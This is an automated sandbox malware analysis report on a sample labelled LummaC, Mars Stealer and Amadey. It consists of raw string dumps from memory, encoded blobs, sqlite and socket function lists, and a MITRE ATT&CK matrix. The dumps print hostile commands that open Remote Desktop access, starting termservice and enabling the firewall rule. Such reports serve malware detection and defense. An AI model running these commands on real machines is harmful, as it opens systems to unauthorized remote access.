Passwordchangeable=FALSEw01--E'' -DestinationPath 'powershell -Command Expand-Archive -Path '%d
Source: futors.exe	String found in binary or memory: net start termservice
Source: futors.exe, 0000000E.00000002.1325607178.0000000000431000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: net start termservice
Source: futors.exe, 0000000E.00000002.1325607178.0000000000431000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setce0b89c831d45810d856da111e87cdbfc1ec479e5342a25940592acf24703eb297fe1526eb5d0adb2c58ee424dc8c89bd08e41OX62IhKuFI7qGQCjPgu0N4GqJCji5 TWIzZeejLghCVm1Lx=PWTzJy==WCPm9FWqLWQtaO==NWKtaO==QX21JRnjQ McGx==1rK191LwDcYXTN==W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3KrSqV56o1U==W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3H1esdJ D11ydSVPi59EM5DLhezvBe2naP1GvW7Gi lTY5q==WqKu06QlFAaAAvMGLBbHLz3uO3u7W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3KrSqerKvWEzpEpL WLywW1Le4NP=W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3H1esdJ D11ydR0ji4wz LjZh2DPtfw==LZKUOTLNMabzMRnuMN==ZIux y==WIYUSy==T4KVc0F7frB7e6F7d7B70q 701x7eKB7f0T71KP701N7dLN7d627enP=07ymWA7h4wA1SZnefzZfeGnY07ymWA7h4wz=06mq A7h4wz=1Ht=1Xt=1Xx=1XB=V0uq9e==cLG1 BqsDm==cLG1 FO3Doa=117m1Kmt06QleLByd1CqgqaxN7u28UXXRKB+RKF+N5qtaUfm4dPoMChsKA==hE==LrKv8VS6RU==e67m9EywE98d6Dm=c6Kz9kXpEpLnTDnhT6K1QkHX3N2eO0bogDPoVWVc2A==WLywW1Le4KUa8Dv2SZOCRZSdMSbf8E47fjO=S1Oq kG=U6uA EXv5SwYCBn71d==TZCGSy==WKuvWEGdMSYc8UzegEe=TKYkaEavAvgeSd==SZOIODNxSEaXQMAMTTDQfjfVhQ==Sqa1WEXjRM8dTUy=VqYzaEarW6Yx8EawS6Yu90TsX6avOEXjRM8dTUy=OHtzJxSYF fXIN==eqx=f6x=S6YvaEXr6s4N9UraRfvogWnQ11ydeqRA1qYz9Q3hQNUaIvr8e0Pp2Gvo5XXpNV1yNWPuIQ2qFUeE907XRM8TFRHef0vqf2bQ106qQlCrd7yuIUTe6wH0CDV7eTO4LmH84KBeQBCrc0mm9kHqRJ3bKkPLN0ar6wYn8zRJhUvgRir83LyocZOmfKaw9gasQTUe8zRogEDg1WQDskXGFUduIQ2qDI3=NWPOze==R7Ck h2uNqexWu==S6YvaEXr6s4N9UraRfvcfHri10KdfJmAdmY5IVf06o4f60ziOUPteGLkO66g1ZR=W5aUSCXKPuQU7kzaekLye2VQ3q6oW5W5ZICw9lTv4SA6KZZifEPV2XzEO0YhZHOAd1q2aEXvLcImTN==S6Yu FXXRNMHSTRa00ykWEXjRSki5jjheTZqfHvo37OXfqe9g1dxJRKwFtXVHw7UOS2=N1Kv8UPsRwXmW5aUSCXKPuQU7kzaekLye2VQ3q6oW5W5ZICw9lTv4SA6PTVegDPfYmbaP069S3 TXJyQQDzTKKUyNYm=W5aUSCXKPuQo6kHneZrO2XGmCHC9W5WDfqakWVP IcIs5TDtdUHreGvVNJWl1JWAXqalWUaGJq==ZHpxJBC=TKKnVVXp6vQe8EHeej8uOl8IP1KrdKW5c0YvTKKnVVXp6vQe8EHeej8uOlbIP1KrdKW5c0YvW4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7BhQjT ITYr7jLjgCTgfnDf261=WLywWFXg6u8a6TK=OnpyLO==OnpzJe==OnpyKe==OnpzKO==S7Kz kXr6uMU5Tn ZE==Qnd7erKvWEzpEpLnTU8aN6hhKrGi 0vo3MAlCzZbLz3keSq9KmpnGgDX3M4e60LPLAybMiO7PKSoKD==LmNhOVjm6sL=KmpnGgDvRM7 KGNnFy==WKY4WVLw3wYl6zVahDO=N0K5WUPY6woo6krkeDfehSroP0YrfJWEc03vWUSdDK2i6DK6Ld==Kk==e672aETs6S7 FUC6OUKbPA==e7F u==equvWEaqU6K6Vkae5cT NDvUe0PV0FroP0ur0ZR=OHpxJBCXEJn=OHpxJBCXE L=OHpxJBCXE P=OHpxJBCXES1=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termser
Source: futors.exe, 0000000E.00000000.1322997240.0000000000431000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: net start termservice
Source: futors.exe, 0000000E.00000000.1322997240.0000000000431000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setce0b89c831d45810d856da111e87cdbfc1ec479e5342a25940592acf24703eb297fe1526eb5d0adb2c58ee424dc8c89bd08e41OX62IhKuFI7qGQCjPgu0N4GqJCji5 TWIzZeejLghCVm1Lx=PWTzJy==WCPm9FWqLWQtaO==NWKtaO==QX21JRnjQ McGx==1rK191LwDcYXTN==W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3KrSqV56o1U==W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3H1esdJ D11ydSVPi59EM5DLhezvBe2naP1GvW7Gi lTY5q==WqKu06QlFAaAAvMGLBbHLz3uO3u7W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3KrSqerKvWEzpEpL WLywW1Le4NP=W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3H1esdJ D11ydR0ji4wz LjZh2DPtfw==LZKUOTLNMabzMRnuMN==ZIux y==WIYUSy==T4KVc0F7frB7e6F7d7B70q 701x7eKB7f0T71KP701N7dLN7d627enP=07ymWA7h4wA1SZnefzZfeGnY07ymWA7h4wz=06mq A7h4wz=1Ht=1Xt=1Xx=1XB=V0uq9e==cLG1 BqsDm==cLG1 FO3Doa=117m1Kmt06QleLByd1CqgqaxN7u28UXXRKB+RKF+N5qtaUfm4dPoMChsKA==hE==LrKv8VS6RU==e67m9EywE98d6Dm=c6Kz9kXpEpLnTDnhT6K1QkHX3N2eO0bogDPoVWVc2A==WLywW1Le4KUa8Dv2SZOCRZSdMSbf8E47fjO=S1Oq kG=U6uA EXv5SwYCBn71d==TZCGSy==WKuvWEGdMSYc8UzegEe=TKYkaEavAvgeSd==SZOIODNxSEaXQMAMTTDQfjfVhQ==Sqa1WEXjRM8dTUy=VqYzaEarW6Yx8EawS6Yu90TsX6avOEXjRM8dTUy=OHtzJxSYF fXIN==eqx=f6x=S6YvaEXr6s4N9UraRfvogWnQ11ydeqRA1qYz9Q3hQNUaIvr8e0Pp2Gvo5XXpNV1yNWPuIQ2qFUeE907XRM8TFRHef0vqf2bQ106qQlCrd7yuIUTe6wH0CDV7eTO4LmH84KBeQBCrc0mm9kHqRJ3bKkPLN0ar6wYn8zRJhUvgRir83LyocZOmfKaw9gasQTUe8zRogEDg1WQDskXGFUduIQ2qDI3=NWPOze==R7Ck h2uNqexWu==S6YvaEXr6s4N9UraRfvcfHri10KdfJmAdmY5IVf06o4f60ziOUPteGLkO66g1ZR=W5aUSCXKPuQU7kzaekLye2VQ3q6oW5W5ZICw9lTv4SA6KZZifEPV2XzEO0YhZHOAd1q2aEXvLcImTN==S6Yu FXXRNMHSTRa00ykWEXjRSki5jjheTZqfHvo37OXfqe9g1dxJRKwFtXVHw7UOS2=N1Kv8UPsRwXmW5aUSCXKPuQU7kzaekLye2VQ3q6oW5W5ZICw9lTv4SA6PTVegDPfYmbaP069S3 TXJyQQDzTKKUyNYm=W5aUSCXKPuQo6kHneZrO2XGmCHC9W5WDfqakWVP IcIs5TDtdUHreGvVNJWl1JWAXqalWUaGJq==ZHpxJBC=TKKnVVXp6vQe8EHeej8uOl8IP1KrdKW5c0YvTKKnVVXp6vQe8EHeej8uOlbIP1KrdKW5c0YvW4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7BhQjT ITYr7jLjgCTgfnDf261=WLywWFXg6u8a6TK=OnpyLO==OnpzJe==OnpyKe==OnpzKO==S7Kz kXr6uMU5Tn ZE==Qnd7erKvWEzpEpLnTU8aN6hhKrGi 0vo3MAlCzZbLz3keSq9KmpnGgDX3M4e60LPLAybMiO7PKSoKD==LmNhOVjm6sL=KmpnGgDvRM7 KGNnFy==WKY4WVLw3wYl6zVahDO=N0K5WUPY6woo6krkeDfehSroP0YrfJWEc03vWUSdDK2i6DK6Ld==Kk==e672aETs6S7 FUC6OUKbPA==e7F u==equvWEaqU6K6Vkae5cT NDvUe0PV0FroP0ur0ZR=OHpxJBCXEJn=OHpxJBCXE L=OHpxJBCXE P=OHpxJBCXES1=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termser
Source: futors.exe, 0000000F.00000000.1324663777.0000000000431000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: net start termservice
Source: futors.exe, 0000000F.00000000.1324663777.0000000000431000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setce0b89c831d45810d856da111e87cdbfc1ec479e5342a25940592acf24703eb297fe1526eb5d0adb2c58ee424dc8c89bd08e41OX62IhKuFI7qGQCjPgu0N4GqJCji5 TWIzZeejLghCVm1Lx=PWTzJy==WCPm9FWqLWQtaO==NWKtaO==QX21JRnjQ McGx==1rK191LwDcYXTN==W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3KrSqV56o1U==W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3H1esdJ D11ydSVPi59EM5DLhezvBe2naP1GvW7Gi lTY5q==WqKu06QlFAaAAvMGLBbHLz3uO3u7W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3KrSqerKvWEzpEpL WLywW1Le4NP=W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3H1esdJ D11ydR0ji4wz LjZh2DPtfw==LZKUOTLNMabzMRnuMN==ZIux y==WIYUSy==T4KVc0F7frB7e6F7d7B70q 701x7eKB7f0T71KP701N7dLN7d627enP=07ymWA7h4wA1SZnefzZfeGnY07ymWA7h4wz=06mq A7h4wz=1Ht=1Xt=1Xx=1XB=V0uq9e==cLG1 BqsDm==cLG1 FO3Doa=117m1Kmt06QleLByd1CqgqaxN7u28UXXRKB+RKF+N5qtaUfm4dPoMChsKA==hE==LrKv8VS6RU==e67m9EywE98d6Dm=c6Kz9kXpEpLnTDnhT6K1QkHX3N2eO0bogDPoVWVc2A==WLywW1Le4KUa8Dv2SZOCRZSdMSbf8E47fjO=S1Oq kG=U6uA EXv5SwYCBn71d==TZCGSy==WKuvWEGdMSYc8UzegEe=TKYkaEavAvgeSd==SZOIODNxSEaXQMAMTTDQfjfVhQ==Sqa1WEXjRM8dTUy=VqYzaEarW6Yx8EawS6Yu90TsX6avOEXjRM8dTUy=OHtzJxSYF fXIN==eqx=f6x=S6YvaEXr6s4N9UraRfvogWnQ11ydeqRA1qYz9Q3hQNUaIvr8e0Pp2Gvo5XXpNV1yNWPuIQ2qFUeE907XRM8TFRHef0vqf2bQ106qQlCrd7yuIUTe6wH0CDV7eTO4LmH84KBeQBCrc0mm9kHqRJ3bKkPLN0ar6wYn8zRJhUvgRir83LyocZOmfKaw9gasQTUe8zRogEDg1WQDskXGFUduIQ2qDI3=NWPOze==R7Ck h2uNqexWu==S6YvaEXr6s4N9UraRfvcfHri10KdfJmAdmY5IVf06o4f60ziOUPteGLkO66g1ZR=W5aUSCXKPuQU7kzaekLye2VQ3q6oW5W5ZICw9lTv4SA6KZZifEPV2XzEO0YhZHOAd1q2aEXvLcImTN==S6Yu FXXRNMHSTRa00ykWEXjRSki5jjheTZqfHvo37OXfqe9g1dxJRKwFtXVHw7UOS2=N1Kv8UPsRwXmW5aUSCXKPuQU7kzaekLye2VQ3q6oW5W5ZICw9lTv4SA6PTVegDPfYmbaP069S3 TXJyQQDzTKKUyNYm=W5aUSCXKPuQo6kHneZrO2XGmCHC9W5WDfqakWVP IcIs5TDtdUHreGvVNJWl1JWAXqalWUaGJq==ZHpxJBC=TKKnVVXp6vQe8EHeej8uOl8IP1KrdKW5c0YvTKKnVVXp6vQe8EHeej8uOlbIP1KrdKW5c0YvW4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7BhQjT ITYr7jLjgCTgfnDf261=WLywWFXg6u8a6TK=OnpyLO==OnpzJe==OnpyKe==OnpzKO==S7Kz kXr6uMU5Tn ZE==Qnd7erKvWEzpEpLnTU8aN6hhKrGi 0vo3MAlCzZbLz3keSq9KmpnGgDX3M4e60LPLAybMiO7PKSoKD==LmNhOVjm6sL=KmpnGgDvRM7 KGNnFy==WKY4WVLw3wYl6zVahDO=N0K5WUPY6woo6krkeDfehSroP0YrfJWEc03vWUSdDK2i6DK6Ld==Kk==e672aETs6S7 FUC6OUKbPA==e7F u==equvWEaqU6K6Vkae5cT NDvUe0PV0FroP0ur0ZR=OHpxJBCXEJn=OHpxJBCXE L=OHpxJBCXE P=OHpxJBCXES1=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termser
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE, 00000022.00000002.1634294018.0000000000171000.00000040.00000001.01000000.00000018.sdmp	String found in binary or memory: net start termservice
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE, 00000022.00000002.1634294018.0000000000171000.00000040.00000001.01000000.00000018.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6090C1D6 sqlite3_clear_bindings,	17_2_6090C1D6
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_609254B1 sqlite3_bind_zeroblob,	17_2_609254B1
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6090F435 sqlite3_bind_parameter_index,	17_2_6090F435
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_609255D4 sqlite3_bind_text16,	17_2_609255D4
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_609255FF sqlite3_bind_text,	17_2_609255FF
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60925686 sqlite3_bind_int64,	17_2_60925686
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_609256E5 sqlite3_bind_int,	17_2_609256E5
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6092562A sqlite3_bind_blob,	17_2_6092562A
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60925655 sqlite3_bind_null,	17_2_60925655
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6092570B sqlite3_bind_double,	17_2_6092570B
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_60925778 sqlite3_bind_value,	17_2_60925778
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6090577D sqlite3_bind_parameter_name,	17_2_6090577D
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6090576B sqlite3_bind_parameter_count,	17_2_6090576B
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6090EAE5 sqlite3_transfer_bindings,	17_2_6090EAE5
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006C1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	18_2_006C1204
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006C1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	18_2_006C1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	121 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	21 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	1 Remote Desktop Protocol	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	31 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	41 Obfuscated Files or Information	Security Account Manager	13 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	21 Access Token Manipulation	331 Software Packing	NTDS	4510 System Information Discovery	Distributed Component Object Model	1 Email Collection	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	11 Registry Run Keys / Startup Folder	212 Process Injection	1 Timestomp	LSA Secrets	1291 Security Software Discovery	SSH	21 Input Capture	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Scheduled Task/Job	1 DLL Side-Loading	Cached Domain Credentials	661 Virtualization/Sandbox Evasion	VNC	3 Clipboard Data	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 File Deletion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Valid Accounts	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	661 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	21 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	212 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Mshta	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report M6gQuZPvgY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Mars Stealer

Threatname: Amadey

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
M6gQuZPvgY.exe